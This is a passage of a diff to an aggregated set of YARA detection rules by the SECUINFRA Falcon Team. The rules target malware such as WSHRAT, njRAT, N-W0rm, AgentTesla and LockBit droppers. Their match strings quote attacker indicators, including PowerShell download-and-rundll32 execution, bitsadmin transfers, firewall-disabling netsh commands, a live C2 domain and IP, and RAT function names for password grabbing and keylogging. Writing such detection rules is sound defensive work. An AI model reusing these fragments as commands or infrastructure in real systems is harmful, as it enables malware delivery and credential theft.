"https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L84-L97" + license_url = "N/A" + logic_hash = "7d19b433785684ce1d2b008b3fdd36b22c5c82bfec476c787dfa025080b6178d" + score = 65 + quality = 70 + tags = "PE, FILE" + + strings: + $netsh_delete = "netsh firewall delete" wide + $netsh_add = "netsh firewall add" wide + + condition: + uint16( 0 ) == 0x5a4d and filesize < 100KB and ( $netsh_delete or $netsh_add ) +} +rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll : POWERSHELL DOWNLOAD FILE +{ + meta: + description = "Detect a Download to %temp% and execution with rundll32.exe" + author = "SECUINFRA Falcon Team" + id = "6b09a6f0-29c6-5baf-ae64-7aa49a37a9d3" + date = "2022-09-02" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L1-L17" + license_url = "N/A" + logic_hash = "4d7860dc94614b10bc0eea0189ad9b964399d4ee6404ebeaef40720c716c592d" + score = 65 + quality = 70 + tags = "POWERSHELL, DOWNLOAD, FILE" + + strings: + $location = "$Env:temp" nocase + $download = "downloadfile(" nocase + $rundll = "rundll32.exe" + + condition: + filesize < 100KB and $location and $download and $rundll +} +rule SECUINFRA_SUSP_Powershell_Base64_Decode : POWERSHELL B64 FILE +{ + meta: + description = "Detects PowerShell code to decode Base64 data. This can yield many FP" + author = "SECUINFRA Falcon Team" + id = "7cb01c0b-d7e3-5196-b78d-f41765ba0368" + date = "2022-02-27" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L19-L31" + license_url = "N/A" + logic_hash = "b323089ac61823d969d04a05890ad9fffe8589165d4b026b08e9fd633d4247de" + score = 60 + quality = 50 + tags = "POWERSHELL, B64, FILE" + + strings: + $b64_decode = "[System.Convert]::FromBase64String(" + + condition: + filesize < 500KB and $b64_decode +} +rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Installer_Feb23 +{ + meta: + description = "Detects suspicious, unsigned Microsoft Windows APPX/MSIX Installer Packages" + author = "SECUINFRA Falcon Team (@SI_FalconTeam)" + id = "beaf08a8-a1c3-5d9c-b7cb-81a49c5bc2ec" + date = "2023-02-01" + modified = "2023-02-07" + reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Installer_Feb23.yar#L1-L22" + license_url = "N/A" + logic_hash = "ad3f0545b2fe285adf67f053c8b422126a1bdff1b6835631280442495d975d16" + score = 50 + quality = 30 + tags = "" + tlp = "CLEAR" + + strings: + $s_manifest = "AppxManifest.xml" + $s_block = "AppxBlockMap.xml" + $s_peExt = ".exe" + $sig = "AppxSignature.p7x" + + condition: + uint16be( 0x0 ) == 0x504B and 2 of ( $s* ) and not $sig +} +rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Manifest_Feb23 +{ + meta: + description = "Detects suspicious Microsoft Windows APPX/MSIX Installer Manifests" + author = "SECUINFRA Falcon Team (@SI_FalconTeam)" + id = "f24f7e03-3cc5-5214-b6d2-205b69898636" + date = "2023-02-01" + modified = "2023-02-07" + reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Manifest_Feb23.yar#L1-L25" + license_url = "N/A" + logic_hash = "4e3de25fdad9d76cefbb191424a739368b521c4f234656c397f4122debe749fa" + score = 65 + quality = 70 + tags = "" + tlp = "CLEAR" + + strings: + $xlmns = "http://schemas.microsoft.com/appx/manifest/" + $identity = "OID.2.25.311729368913984317654407730594956997722=1" + $s_entrypoint = "EntryPoint=\"Windows.FullTrustApplication\"" + $s_capability = "runFullTrust" + $s_peExt = ".exe" + + condition: + uint32be( 0x0 ) == 0x3C3F786D and $xlmns and $identity and 2 of ( $s* ) +} +rule SECUINFRA_MALWARE_Onenote_Delivery_Jan23 +{ + meta: + description = "Detects suspicious Microsoft OneNote files used to deliver Malware" + author = "SECUINFRA Falcon Team (@SI_FalconTeam)" + id = "ebf02a11-6f53-573d-bd7a-9948cef9fb3a" + date = "2023-01-19" + modified = "2023-01-19" + reference = "https://twitter.com/James_inthe_box/status/1615421130877329409" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/MALWARE_OneNote_Delivery_Jan23.yar#L1-L56" + license_url = "N/A" + logic_hash = "08c38eedf500fd1a0224e396b41aebb8ac82b3705321ca798ac1007ea34366e1" + score = 65 + quality = 66 + tags = "" + tlp = "CLEAR" + hash0 = "18af397a27e58afb901c92f37569d48e3372cf073915723e4e73d44537bcf54d" + hash1 = "de30f2ba2d8916db5ce398ed580714e2a8e75376f31dc346b0e3c898ee0ae4cf" + hash2 = "bfc979c0146d792283f825f99772370f6ff294dfb5b1e056943696aee9bc9f7b" + hash3 = "e0d9f2a72d64108a93e0cfd8066c04ed8eabe2ed43b80b3f589b9b21e7f9a488" + hash4 = "3f00a56cbf9a0e59309f395a6a0b3457c7675a657b3e091d1a9440bd17963f59" + + strings: + $hta = "hta:application" nocase + $script1 = "type=\"text/vbscript\"" + $script2 = "language=\"VBScript\"" + $powershell = "powershell" nocase + $startProc = "Start-Process -Filepath" + $webReq = "Invoke-WebRequest -Uri" + $bitsadmin = "bitsadmin /transfer" + $wscript = "WScript.Shell" nocase + $autoOpen = "Sub AutoOpen()" + $root = "GetObject(\"winmgmts:\\.\\root\\cimv2\")" + $wsfExt = ".wsf" ascii wide + $vbsExt = ".vbs" ascii wide + $cmd = "cmd /c" nocase + $batch = "@echo off" + $batExt = ".bat" ascii wide + $delExit = "(goto) 2>nul & del \"%~f0\"..exit /b" + $dosString = "!This program cannot be run in DOS mode" + $exeExt = ".exe" ascii wide + $imageFile = "button_click-to-view-document.png" wide + $click = "click to view document" nocase wide + $path1 = "C:\\Users\\My\\OneDrive\\Desktop" wide + $path2 = "C:\\Users\\Administrator\\Documents\\Dove" wide + $path3 = "C:\\Users\\julien.galleron\\Downloads" wide + + condition: + uint32be( 0x0 ) == 0xE4525C7B and 3 of them +} +rule SECUINFRA_SUSP_LNK_Staging_Directory : FILE +{ + meta: + description = "Detects typical staging directories being referenced inside lnk files" + author = "SECUINFRA Falcon Team" + id = "459ed2e6-133c-5cde-bf49-95bf8a5eb8c8" + date = "2022-02-27" modified = "2022-02-27" reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L2-L25" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/lnk.yar#L31-L46" license_url = "N/A" - logic_hash = "abe0592a8936898a43a1df9039829948f8a4a425c74cb970d2899d513c9cfffe" - score = 60 - quality = 25 + logic_hash = "3f2a04702b39bce48fc85aa68f39e6062c3b5ee37667eb086222a866a5e438e4" + score = 65 + quality = 70 tags = "FILE" - version = "0.1" strings: - $create = "New-ScheduledTaskAction" - $execute = "-Execute" - $trigger = "New-ScheduledTaskTrigger" - $at_param = "-At" - $register = "Register-ScheduledTask" - $action = "-Action" - $path1 = "C:\\ProgramData\\" - $path2 = "C:\\Windows\\Temp" - $path3 = "AppData\\Local" + $header = {4c00 0000 0114 0200 0000} + $public = "$env:public" wide condition: - filesize < 30KB and 1 of ( $path* ) and ( $create and $execute ) or ( $trigger and $at_param ) or ( $register and $action ) + filesize < 20KB and ( $header at 0 ) and $public } -rule SECUINFRA_SUSP_Reverse_Run_Key : FILE +rule SECUINFRA_OBFUS_Javascript_Wscript_Hex_Strings_Usage { meta: - description = "Detects a Reversed Run Key" + description = "Detects the frequent usage of Wscript to get an hex encoded string from an array and interpret it. Used by e.g WSHRAT" author = "SECUINFRA Falcon Team" - id = "230bed16-278e-574c-bb9b-cf6c44a7e9cd" - date = "2022-02-27" - modified = "2022-02-27" + id = "dd55753e-4f7b-56be-a6d4-66f1d7dc8747" + date = "2022-12-02" + modified = "2022-02-13" reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L27-L38" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/javascript_obfuscation.yar#L2-L19" license_url = "N/A" - logic_hash = "dcb1a7e2c688287d08ade3d75e5c3d0dde6b645889bd4ec09ce8c131d8d3265e" - score = 65 + logic_hash = "62bc3261b3c2e902a82423239a7ee0bcedfccbeeeda11833b935197144dc7c35" + score = 75 quality = 70 - tags = "FILE" + tags = "" strings: - $run = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide + $wscript = "= WScript[" + $hex_enc_str1 = "\\x63\\x72\\x65\\x61" + $hex_enc_str2 = "\\x73\\x63\\x72\\x69" + $hex_enc_str3 = "\\x71\\x75\\x69\\x74" + $hex_enc_str4 = "\\x41\\x72\\x67\\x75" condition: - filesize < 100KB and $run + #wscript> 30 and 2 of ( $hex_enc_str* ) } rule SECUINFRA_OBFUS_Powershell_Execution : FILE { @@ -165770,53 +165957,166 @@ rule SECUINFRA_OBFUS_Powershell_Replace_Tilde : FILE condition: filesize < 400KB and $a } -rule SECUINFRA_OBFUS_Javascript_Wscript_Hex_Strings_Usage +rule SECUINFRA_OBFUS_VBS_Reverse_Startup : FILE { meta: - description = "Detects the frequent usage of Wscript to get an hex encoded string from an array and interpret it. Used by e.g WSHRAT" + description = "Detecs reversed StartUp Path. Sometimes used as obfuscation" author = "SECUINFRA Falcon Team" - id = "dd55753e-4f7b-56be-a6d4-66f1d7dc8747" + id = "ecb96e30-0ac0-530a-83af-bb030f7dce4c" + date = "2022-02-27" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/vbs_obfuscation.yar#L2-L13" + license_url = "N/A" + logic_hash = "7b4d56d3bbe8d16d5e01fa9a021a368feb28b8b062860df76a2569966a97b8bc" + score = 75 + quality = 70 + tags = "FILE" + + strings: + $reverse = "\\putratS\\smargorP\\uneM" wide nocase + + condition: + filesize < 200KB and $reverse +} +rule SECUINFRA_MAL_WSHRAT : RAT JAVASCRIPT WSHRAT FILE +{ + meta: + description = "Detects the final Payload of WSHART" + author = "SECUINFRA Falcon Team" + id = "8db5e349-c83e-53c3-a44d-cfe4732fe08d" date = "2022-12-02" modified = "2022-02-13" reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/javascript_obfuscation.yar#L2-L19" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/wshrat.yar#L2-L44" license_url = "N/A" - logic_hash = "62bc3261b3c2e902a82423239a7ee0bcedfccbeeeda11833b935197144dc7c35" + hash = "b7f53ccc492400290016e802e946e526" + logic_hash = "12d893f0ca83e805fa570d3f72eb733c8d8b1ae6c0d37bf179ac675d108c7412" score = 75 - quality = 70 - tags = "" + quality = 68 + tags = "RAT, JAVASCRIPT, WSHRAT, FILE" strings: - $wscript = "= WScript[" - $hex_enc_str1 = "\\x63\\x72\\x65\\x61" - $hex_enc_str2 = "\\x73\\x63\\x72\\x69" - $hex_enc_str3 = "\\x71\\x75\\x69\\x74" - $hex_enc_str4 = "\\x41\\x72\\x67\\x75" + $function1 = "runBinder" + $function2 = "getBinder" + $function3 = "Base64Encode" + $function4 = "payloadLuncher" + $function5 = "getMailRec" + $function6 = "getHbrowser" + $function7 = "passgrabber" + $function8 = "getRDP" + $function9 = "getUVNC" + $function10 = "getConfig" + $function11 = "getKeyLogger" + $function12 = "enumprocess" + $function13 = "cmdshell" + $function14 = "faceMask" + $function15 = "upload" + $function16 = "download" + $function17 = "sitedownloader" + $function18 = "servicestarter" + $function19 = "payloadLuncher" + $function20 = "keyloggerstarter" + $function21 = "reverserdp" + $function22 = "reverseproxy" + $function23 = "decode_pass" + $function24 = "disableSecurity" + $function25 = "installsdk" + $cmd1 = "osversion = eval(osversion)" + $cmd2 = "download(cmd[1],cmd[2])" + $cmd3 = "keyloggerstarter(cmd[1]" + $cmd4 = "decode_pass(retcmd);" condition: - #wscript> 30 and 2 of ( $hex_enc_str* ) + filesize < 2MB and 2 of ( $cmd* ) and 12 of ( $function* ) } -rule SECUINFRA_OBFUS_VBS_Reverse_Startup : FILE + +rule SECUINFRA_MAL_Njrat : FILE { meta: - description = "Detecs reversed StartUp Path. Sometimes used as obfuscation" + description = "No description has been set in the source file - SecuInfra" author = "SECUINFRA Falcon Team" - id = "ecb96e30-0ac0-530a-83af-bb030f7dce4c" + id = "eeea8bcf-0d19-5c43-92cc-55c1110f46e5" date = "2022-02-27" modified = "2022-02-27" reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/vbs_obfuscation.yar#L2-L13" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/njrat.yar#L3-L35" license_url = "N/A" - logic_hash = "7b4d56d3bbe8d16d5e01fa9a021a368feb28b8b062860df76a2569966a97b8bc" + logic_hash = "e6f5ce20df70bc2f9d00931a84db08c1918a0639555204de8e86f3ba583a73f5" score = 75 quality = 70 tags = "FILE" + hash_1 = "38928ae157586ec7785121f79ac5f9eb6727eae66aa512d8adf52d9485928126" + hash_2 = "fcfa50ca0d4dcf2bb6e96e7b7a223138068f2d6a458d2630757e3bcbe0684aaa" + hash_3 = "fa28ad86ab796c8e18096badc31bcb1719474d268945172d983bb30ded219944" strings: - $reverse = "\\putratS\\smargorP\\uneM" wide nocase + $mutex_1 = "02ddd2742fd5023579c925948979506c" wide + $mutex_2 = "f2defcfce1660e18fd445b5dbce27282" wide + $mutex_3 = "f7d3b79624476341312866012d0bbf19" wide + $a1 = "\"|'|'|\"" wide + $a2 = "SEE_MASK_NOZONECHECKS" wide + $b1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide + $b2 = "netsh firewall" wide + $b3 = "[ENTER]\\r\\n" wide + $b4 = "Execute ERROR" wide condition: - filesize < 200KB and $reverse + uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imports ( "mscoree.dll" ) and pe.imports ( "avicap32.dll" ) and 1 of ( $mutex_* ) or ( 1 of ( $a* ) and 2 of ( $b* ) ) +} +rule SECUINFRA_MAL_Nw0Rm : FILE +{ + meta: + description = "Detect the final RAT dropped by N-W0rm" + author = "SECUINFRA Falcon Team" + id = "b014ce63-33ec-51df-a529-0c197dac2d7a" + date = "2022-03-02" + modified = "2022-02-07" + reference = "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/n-w0rm.yar#L1-L24" + license_url = "N/A" + hash = "08587e04a2196aa97a0f939812229d2d" + logic_hash = "04078c57c1aa0065fceec7dc92b201bda23de1c5f5a940803a81250bdd685736" + score = 75 + quality = 70 + tags = "FILE" + + strings: + $a1 = "N-W0rm" fullword wide + $a2 = "N_W0rm" fullword wide + $a3 = "|NW|" fullword wide + $b1 = "Select * from AntivirusProduct" fullword wide + $b2 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File" fullword wide + $b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide + $b4 = "killer" fullword wide + $b5 = "nyanmoney02.duckdns.org" fullword wide + + condition: + uint16( 0 ) == 0x5a4d and 2 of ( $a* ) and 2 of ( $b* ) +} + +rule SECUINFRA_HUNT_RTF_CVE_2023_21716_Mar23 : CVE_2023_21716 +{ + meta: + description = "Detects RTF documents with an inflated fonttable. Hunting for CVE-2023-21716" + author = "SECUINFRA Falcon Team (@SI_FalconTeam)" + id = "1b76f428-f2a8-5d1d-a78c-b4a70ac4f5db" + date = "2023-03-07" + modified = "2023-03-07" + reference = "https://www.bleepingcomputer.com/news/security/proof-of-concept-released-for-critical-microsoft-word-rce-bug/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Hunting/HUNT_RTF_CVE_2023_21716.yar#L3-L20" + license_url = "N/A" + logic_hash = "456008db725b8348f9f3851bb9aae9990e7613e1b9056846b121605c3e080297" + score = 50 + quality = 70 + tags = "CVE-2023-21716" + tlp = "CLEAR" + + strings: + $fonttbl_len = /\\fonttbl\{.{1,10}\;\}(\s.{1,10}\}){10,}/ + + condition: + uint32be( 0x0 ) == 0x7B5C7274 and !fonttbl_len [ 1 ] > 256 and console.log ( "[!] Inflated fonttable with length: " , !fonttbl_len [ 1 ] ) } rule SECUINFRA_APT_Bitter_Maldoc_Verify : CVE_2018_0798 { @@ -165908,330 +166208,98 @@ rule SECUINFRA_APT_Bitter_PDB_Paths : FILE condition: uint16( 0 ) == 0x5a4d and any of ( $pdbPath* ) } - -rule SECUINFRA_HUNT_RTF_CVE_2023_21716_Mar23 : CVE_2023_21716 -{ - meta: - description = "Detects RTF documents with an inflated fonttable. Hunting for CVE-2023-21716" - author = "SECUINFRA Falcon Team (@SI_FalconTeam)" - id = "1b76f428-f2a8-5d1d-a78c-b4a70ac4f5db" - date = "2023-03-07" - modified = "2023-03-07" - reference = "https://www.bleepingcomputer.com/news/security/proof-of-concept-released-for-critical-microsoft-word-rce-bug/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Hunting/HUNT_RTF_CVE_2023_21716.yar#L3-L20" - license_url = "N/A" - logic_hash = "456008db725b8348f9f3851bb9aae9990e7613e1b9056846b121605c3e080297" - score = 50 - quality = 45 - tags = "CVE-2023-21716" - tlp = "CLEAR" - - strings: - $fonttbl_len = /\\fonttbl\{.{1,10}\;\}(\s.{1,10}\}){10,}/ - - condition: - uint32be( 0x0 ) == 0x7B5C7274 and !fonttbl_len [ 1 ] > 256 and console.log ( "[!] Inflated fonttable with length: " , !fonttbl_len [ 1 ] ) -} -rule SECUINFRA_DROPPER_Valyria_Stage_1 : JAVASCRIPT VBS VALYRIA FILE -{ - meta: - description = "Family was taken from VirusTotal" - author = "SECUINFRA Falcon Team" - id = "7e2ab9db-142c-5dee-92b7-4a70d747c540" - date = "2022-02-18" - modified = "2022-02-18" - reference = "https://bazaar.abuse.ch/sample/c8a8fea3cbe08cd97e56a0e0dbc59a892f8ab1ff3b5217ca3c9b326eeee6ca66/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/valyria.yar#L1-L23" - license_url = "N/A" - logic_hash = "94643123a4be26c818d43a77b907edf8651d306463f4df750db67cef790f10eb" - score = 75 - quality = 70 - tags = "JAVASCRIPT, VBS, VALYRIA, FILE" - - strings: - $a1 = "<script language=\"vbscript\">" - $a2 = "<script language=\"javascript\">" - $b1 = "window.resizeTo(0,0);" - $b2 = ".Environment" - $b3 = ".item().Name" - $b4 = "v4.0.30319" - $b5 = "v2.0.50727" - $c1 = "Content Writing.docx" - $c2 = "eval" - - condition: - filesize < 600KB and all of ( $a* ) and 3 of ( $b* ) and 1 of ( $c* ) -} -rule SECUINFRA_MAL_Agenttesla_Stage_1 : JAVASCRIPT AGENTTESLA OBFUSCATORIO FILE -{ - meta: - description = "Detects the first stage of AgentTesla (JavaScript)" - author = "SECUINFRA Falcon Team" - id = "0a098f27-8dbc-5749-9a0d-fd0198184c7a" - date = "2022-02-27" - modified = "2022-02-27" - reference = "https://bazaar.abuse.ch/sample/bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/agent_tesla.yar#L1-L18" - license_url = "N/A" - hash = "bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec" - logic_hash = "7c21f80a02aa161ffb2edf47aff796f22aff2a563abcb0097cc86371c05e516d" - score = 75 - quality = 45 - tags = "JAVASCRIPT, AGENTTESLA, OBFUSCATORIO, FILE" - - strings: - $mz = "TVq" - $a1 = ".jar" - $a2 = "bin.base64" - $a3 = "appdata" - $a4 = "skype.exe" - - condition: - filesize < 500KB and $mz and 3 of ( $a* ) -} -rule SECUINFRA_DROPPER_Unknown_1 : DROPPER HTA FILE -{ - meta: - description = "Detects unknown HTA Dropper" - author = "SECUINFRA Falcon Team" - id = "70c06b9d-8474-5b6e-bd9c-d45a25585ee9" - date = "2022-10-02" - modified = "2022-02-19" - reference = "https://bazaar.abuse.ch/sample/c2bf8931028e0a18eeb8f1a958ade0ab9d64a00c16f72c1a3459f160f0761348/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/unknown.yar#L1-L21" - license_url = "N/A" - hash = "1749f4127bba3f7204710286b1252e14" - logic_hash = "d02874514bcb6c3603d1bfee702ec9e18c15153bc14a55ca8d637308c3f35a75" - score = 75 - quality = 43 - tags = "DROPPER, HTA, FILE" - - strings: - $a1 = "<script type=\"text/vbscript\" LANGUAGE=\"VBScript\" >" - $a2 = "Function XmlTime(t)" - $a3 = "C:\\ProgramData\\" - $a4 = "wscript.exe" - $a5 = "Array" nocase - $b = "chr" nocase - - condition: - filesize < 70KB and all of ( $a* ) and #b > 7 -} -rule SECUINFRA_DROPPER_WSHRAT_Stage_1 : FILE -{ - meta: - description = "Detects the first stage of WSHRAT as obfuscated JavaScript" - author = "SECUINFRA Falcon Team" - id = "3bd363dc-3183-595e-931b-668eb17495f5" - date = "2022-11-02" - modified = "2022-02-27" - reference = "https://bazaar.abuse.ch/sample/ad24ae27346d930e75283b10d4b949a4986c18dbd5872a91f073334a08169a14/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/wshrat.yar#L1-L18" - license_url = "N/A" - hash = "793eff1b2039727e76fdd04300d44fc6" - logic_hash = "1390929d06bd1259dbab425fd4e953119f632be460f57756a0c226e9f510d75a" - score = 75 - quality = 70 - tags = "FILE" - - strings: - $a1 = "'var {0} = WS{1}teObject(\"ado{2}am\");" - $b1 = "String[\"prototype\"]" - $b2 = "this.replace(" - $b3 = "Array.prototype" - - condition: - filesize < 1500KB and $a1 and #b3 > 3 and #b1 > 2 and $b2 -} -rule SECUINFRA_DROPPER_Asyncrat_VBS_February_2022_1 : FILE +rule SECUINFRA_SUSP_Scheduled_Tasks_Create_From_Susp_Dir : FILE { meta: - description = "No description has been set in the source file - SecuInfra" + description = "Detects a PowerShell Script that creates a Scheduled Task that runs from an suspicious directory" author = "SECUINFRA Falcon Team" - id = "80f84c2f-7af0-55c1-bc06-d605beae3e33" + id = "65aad597-c5fe-50c3-8970-19fb502f1602" date = "2022-02-21" - modified = "2022-02-21" - reference = "https://bazaar.abuse.ch/sample/06cd1e75f05d55ac1ea77ef7bee38bb3b748110b79128dab4c300f1796a2b941/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/asyncrat.yar#L2-L18" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L2-L25" license_url = "N/A" - logic_hash = "80c86b0cbb7382135bb9ae8c80ac42f499081fe1fe48fadf21f0e136bcc04358" - score = 75 - quality = 70 + logic_hash = "abe0592a8936898a43a1df9039829948f8a4a425c74cb970d2899d513c9cfffe" + score = 60 + quality = 25 tags = "FILE" + version = "0.1" strings: - $a1 = "http://3.145.46.6/" - $b1 = "Const HIDDEN_WINDOW = 0" - $b2 = "GetObject(\"winmgmts:\\\\" - $c = "replace(" + $create = "New-ScheduledTaskAction" + $execute = "-Execute" + $trigger = "New-ScheduledTaskTrigger" + $at_param = "-At" + $register = "Register-ScheduledTask" + $action = "-Action" + $path1 = "C:\\ProgramData\\" + $path2 = "C:\\Windows\\Temp" + $path3 = "AppData\\Local" condition: - filesize < 10KB and ( $a1 or ( all of ( $b* ) and #c > 10 ) ) + filesize < 30KB and 1 of ( $path* ) and ( $create and $execute ) or ( $trigger and $at_param ) or ( $register and $action ) } -rule SECUINFRA_DROPPER_Njrat_VBS : VBS NJRAT DROPPER FILE +rule SECUINFRA_SUSP_Reverse_Run_Key : FILE { meta: - description = "No description has been set in the source file - SecuInfra" + description = "Detects a Reversed Run Key" author = "SECUINFRA Falcon Team" - id = "5296667a-2932-597e-8f49-b7fa755cb387" + id = "230bed16-278e-574c-bb9b-cf6c44a7e9cd" date = "2022-02-27" modified = "2022-02-27" - reference = "https://bazaar.abuse.ch/sample/daea0b5dfcc3e20b75292df60fe5f0e16a40735254485ff6cc7884697a007c0d/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/njrat.yar#L2-L23" - license_url = "N/A" - logic_hash = "7640be8850992ee7f05e85e1f781b4c63ccf958cf62da8deacfe9bb116627ceb" - score = 75 - quality = 70 - tags = "VBS, NJRAT, DROPPER, FILE" - - strings: - $a1 = "[System.Convert]::FromBase64String( $Codigo.replace(" wide - $a2 = "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" wide - $b1 = "CreateObject(\"WScript.Shell\")" wide - $b2 = "\"R\" + \"e\" + \"p\" + \"l\" + \"a\" + \"c\" + \"e\"" wide - $b3 = "BBBB\" + \"BBBBBBB\" + \"BBBBBBB\" + \"BBBBBBBB" wide - $b4 = "& DGRP & NvWt & DGRP &" wide - $b5 = "= ogidoC$" wide - - condition: - filesize < 300KB and ( ( 1 of ( $a* ) ) or ( 2 of ( $b* ) ) ) -} -rule SECUINFRA_DROPPER_Vjw0Rm_Stage_1 : JAVASCRIPT DROPPER VJW0RM FILE -{ - meta: - description = "No description has been set in the source file - SecuInfra" - author = "SECUINFRA Falcon Team" - id = "a07f80e4-56c3-5b75-be64-648bc1fde964" - date = "2022-02-19" - modified = "2022-02-27" - reference = "https://bazaar.abuse.ch/browse.php?search=tag%3AVjw0rm" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/Vjw0rm.yar#L2-L19" - license_url = "N/A" - logic_hash = "e5cc23431239e8a650369729050809cf6fe2acc58941086f79ce004b4f506eed" - score = 75 - quality = 20 - tags = "JAVASCRIPT, DROPPER, VJW0RM, FILE" - version = "0.1" - - strings: - $a1 = "$$$" - $a2 = "microsoft.xmldom" - $a3 = "eval" - $a4 = "join(\"\")" - - condition: - ( uint16( 0 ) == 0x7566 or uint16( 0 ) == 0x6176 or uint16( 0 ) == 0x0a0d or uint16( 0 ) == 0x660a ) and filesize < 60KB and all of ( $a* ) -} -rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll : POWERSHELL DOWNLOAD -{ - meta: - description = "Detect a Download to %temp% and execution with rundll32.exe" - author = "SECUINFRA Falcon Team" - id = "f7a9d2e6-bebf-598b-9e59-db0a3001b9f9" - date = "2022-09-02" - modified = "2022-02-19" reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/PowerShell_Misc/download_variations.yar#L1-L14" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L27-L38" license_url = "N/A" - logic_hash = "7982438c032127349fb1c3477a23bab1c92eb68d9c3b26e2f5fb0a8c332dbc44" + logic_hash = "dcb1a7e2c688287d08ade3d75e5c3d0dde6b645889bd4ec09ce8c131d8d3265e" score = 65 quality = 70 - tags = "POWERSHELL, DOWNLOAD" + tags = "FILE" strings: - $location = "$Env:temp" nocase - $download = "downloadfile(" nocase - $rundll = "rundll32.exe" + $run = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide condition: - $location and $download and $rundll + filesize < 100KB and $run } -rule SECUINFRA_RANSOM_Lockbit_Black_Packer : RANSOMWARE FILE +rule SECUINFRA_MAL_Redline_Certificate_Bosch : FILE { meta: - description = "Detects the packer used by Lockbit Black (Version 3)" + description = "Detects Certificate used by Redline Stealer" author = "SECUINFRA Falcon Team" - id = "f4c1a12b-eb89-5a46-97a9-f0207ca1bbde" - date = "2022-07-04" - modified = "2022-07-04" - reference = 